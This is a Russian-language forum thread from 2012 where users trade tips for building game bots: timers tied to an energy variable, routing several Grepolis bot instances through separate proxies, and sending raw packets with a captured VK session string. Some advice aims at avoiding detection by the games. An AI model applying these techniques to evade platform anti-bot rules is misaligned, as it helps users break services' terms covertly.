Создать экземпляр Timer... Без исходника сложно сказать что понадобится...

макар11
05.01.2012, 12:46
Создать экземпляр Timer... Без исходника сложно сказать что понадобится...
Цитата:
Сообщение от макар11

Спс большое за урок !!!
Но у меня маленькая проблема с ботом для приложения уличная ярость(пишу на девил студии) ,сделал все запросы и функцию боя,все работает,только дерться через заданное время,а я хоу сделать так,чтоб дрался пока ТОЛЬКО ,пока есть энергия !!!
В приложении есть переменная n_rest=**** - это время до восстановления энергии,не подскажите как сделать счетчик,который в 1 запросе смотрит n_rest ,и начинает отсчитывать,и ,только n_rest исчезает(энергия восст) он нападет ,пока не кончиться энергия ,или определенное количество раз !!!помогите плз !!!


Создать экземпляр Timer... Без исходника сложно сказать что понадобится...
таймер тоже готов ,он настроен на бой в мс (через каждые 36000 мс(10 мин) он выполняет запрос на бой,а я хочу сделать ,чтоб он не тупо и паливно каждые 10 минут запрашивал ф-цию боя,а нападал только когда есть энергия !!!

Nickitee
05.01.2012, 14:52
таймер тоже готов ,он настроен на бой в мс (через каждые 36000 мс(10 мин) он выполняет запрос на бой,а я хочу сделать ,чтоб он не тупо и паливно каждые 10 минут запрашивал ф-цию боя,а нападал только когда есть энергия !!!
10 минут = 600 000 миллисекунд. Мб?

макар11
05.01.2012, 16:19
ну может да....непосчитал) но не это главное !!!

Добавлено через 2 минуты
Главное сделать что то типа счётчика,который отмеряет время до восст., энергии и только тогда проводит бои,и только тогда ,пока есть энергия ! вот самое главное !

Sinyss
06.01.2012, 18:02
ну может да....непосчитал) но не это главное !!!

Добавлено через 2 минуты
Главное сделать что то типа счётчика,который отмеряет время до восст., энергии и только тогда проводит бои,и только тогда ,пока есть энергия ! вот самое главное !
Ну так в чем проблема? Узнаешь скорость восстановления энергии, потом по простейшей формуле вычисляешь сколько надо времени для восстановления энергии необходимой для боя. Потом запускаешь таймер... по его окончанию - атака...

макар11
06.01.2012, 23:54
Так даже время восст. энергии известно ,например rest_n = "1234" в секундах
просто как сделать таймер ,чтоб по его окончанию происходила атака ,даже не 1 атака,а столько боёв,сколько хватает энергии !!!
Можете выложить код ?
P.S. Я пишу не на С# а на PHPDevilStudio ?f там таймеров нормальных нету.....на дельфи ничего невыходит даже с простым запростом на бой((

Sinyss
07.01.2012, 00:57
Так даже время восст. энергии известно ,например rest_n = "1234" в секундах
просто как сделать таймер ,чтоб по его окончанию происходила атака ,даже не 1 атака,а столько боёв,сколько хватает энергии !!!
Можете выложить код ?
P.S. Я пишу не на С# а на PHPDevilStudio ?f там таймеров нормальных нету.....на дельфи ничего невыходит даже с простым запростом на бой((
запрашивай время с таймера, делай
if("rest_n - время_с_таймера" > 0 )
{
thread.wait("rest_n - время_с_таймера") // засыпаешь на указанное время
}
else
{
try{атаковать}
}
PS: псевдокод...

макар11
07.01.2012, 02:17
Спасибо ! Только я еще непонял куда ето вставить)))
В кнопку или в еще что))

Sinyss
07.01.2012, 02:45
я бы создал это в отдельном потоке... а вообще можно в кнопку внутрь бесконечного цикла...

макар11
07.01.2012, 12:27
Я тут проверил тот код......непрокатило(
Там энергия тратиться после каждого боя и появляеться rest_n больше 0 и прога засыпает после 1 боя (

Sinyss
07.01.2012, 13:45
Я тут проверил тот код......непрокатило(
Там энергия тратиться после каждого боя и появляеться rest_n больше 0 и прога засыпает после 1 боя (
Функция боя у тебя что возвращает? запихни ее под while, но убедись что она сможет из него выйти...

Norst
09.02.2012, 17:49
Я почемуто немогу ничего выбрать в панели Элементов, можете подсказать почему?

Sinyss
09.02.2012, 17:56
Я почемуто немогу ничего выбрать в панели Элементов, можете подсказать почему?
Возможно вы создали консольное приложение... или другое, которое не поддерживает елементы WinForms

Hermein
13.02.2012, 08:47
он будет лишний
Да нет не будет там все просто на самом деле:
Кидаем show icon, добавляем иконку
Если на кнопку свернуть то событие формы формвиндов штэйт:
if(this.WindowState==FormFindowState.Minimized)
{this.Hide();
ShowIcon1.Visible=true;
}
else{Show();ShowIcon1.Visible=false;}

ps: Не компилил в студии, но суть думаю понятна

Nickitee
24.02.2012, 17:54
КУДА КОД ВСТАВИТЬ?
Для начала надо выбрать C#, а не VB, код на ивент по нажатию кнопки.

ArtemKrass
07.03.2012, 19:22
Всем Доброго вечера!
Помогите решить проблему ПЛЗ.
Имеется бот для on-line игры Grepolis.
Бот работает используя привязку к Internet Explorer.
Мне нужно, чтобы бот работал через прокси... Как это реализовать???
Можно конечно настроить Proxy в Internet Explorer...
Но мне еще нужно, чтобы одновременно работали 3 версии данного бота, через разные прокси...

В общем каким способом можно настроить бот на принудительную работу через прокси, не изменяя настройки Internet Explorer???

Прикладываю данный бот...


Заранее спасибо за помощь!
С Уважением, Артем!

the-boxi
09.03.2012, 14:27
Ну берешь запрос и даешь ему прокси...
А чо ты не исходник выставил, как мы с можем тебе помочь?/dgs
Вот держы подстроился под тебя
protected override WebRequest GetWebRequest(Uri address)
{
WebRequest webRequest = base.GetWebRequest(address);
if (webRequest is [Ссылки могут видеть только зарегистрированные и активированные пользователи])
{
(webRequest as [Ссылки могут видеть только зарегистрированные и активированные пользователи]).Proxy = new WebProxy(string ip,int port);
(webRequest as [Ссылки могут видеть только зарегистрированные и активированные пользователи]).CookieContainer = this.a;
(webRequest as [Ссылки могут видеть только зарегистрированные и активированные пользователи]).KeepAlive = false;
(webRequest as [Ссылки могут видеть только зарегистрированные и активированные пользователи]).UserAgent = u.ad();
}
return webRequest;
}/dgs

Meg(0)
14.04.2012, 15:09
а как для онлайн игры получить данные и заставить перемещаться персонажа к примеру? без извлечения цветов и клацания по координатам

VeTaL_UA
14.04.2012, 15:12
а как для онлайн игры получить данные и заставить перемещаться персонажа к примеру? без извлечения цветов и клацания по координатам
Всё можно сделать с помощью пакетов ;)

mazafon
08.05.2012, 17:38
2.String secondStepForm = в ковычках вставляю свои данные, в результате получаю множественные ошибки в этой строке.

данные выглядят так "{"l":"menu","w":40,"s":{"i":"vk169071276","d":"Саша;Молчанов;NaN;ru_RU;0;;","x":"NaN","n":"Саша Молчанов","a":true,"l":"ru-RU","u":"[Ссылки могут видеть только зарегистрированные и активированные пользователи]"},"f":["vk474175","vk65265797","vk67822851","vk129889709","vk146343643","vk151422723","vk160872790","vk16522330","vk168562882","vk170229277"],"i":"vk169071276","u":"vk169071276","k":"918f23981fe66fb93d54b3acf72bb578","v":252}"

я так понял пакет с данными программа не цепляет в виде одного массива, но почему ? все же в ковычках.

p.s. в auth и всех ID изменено по паре цифр для конспирации.

Добавлено через 4 часа 26 минут
проблему решил, косой чертой перед каждой ковычкой,

the-boxi
12.05.2012, 21:14
Ну вообще что бы не было ошибок в таком случае нужно глушить ковички знаком "/" то есть Ставишь две оставные ковычки string = "" а все остальные что будут внутри глушишь: string = "\""; вот так.

Бухой
10.12.2012, 00:57
Привет.. хочу заказать тебе бота для игры в контакте. Разумеется за определённую плату. напиши если возьмешься за эту задачу.в личку

Sinyss
11.12.2012, 01:28
так как гугл молчит на эту тему.(
Так как кто то составил хреновый запрос...

ArtemKrass
21.12.2012, 14:30
Как вывести и редактировать содержимое CookieContainer? Есть ли такая возможность?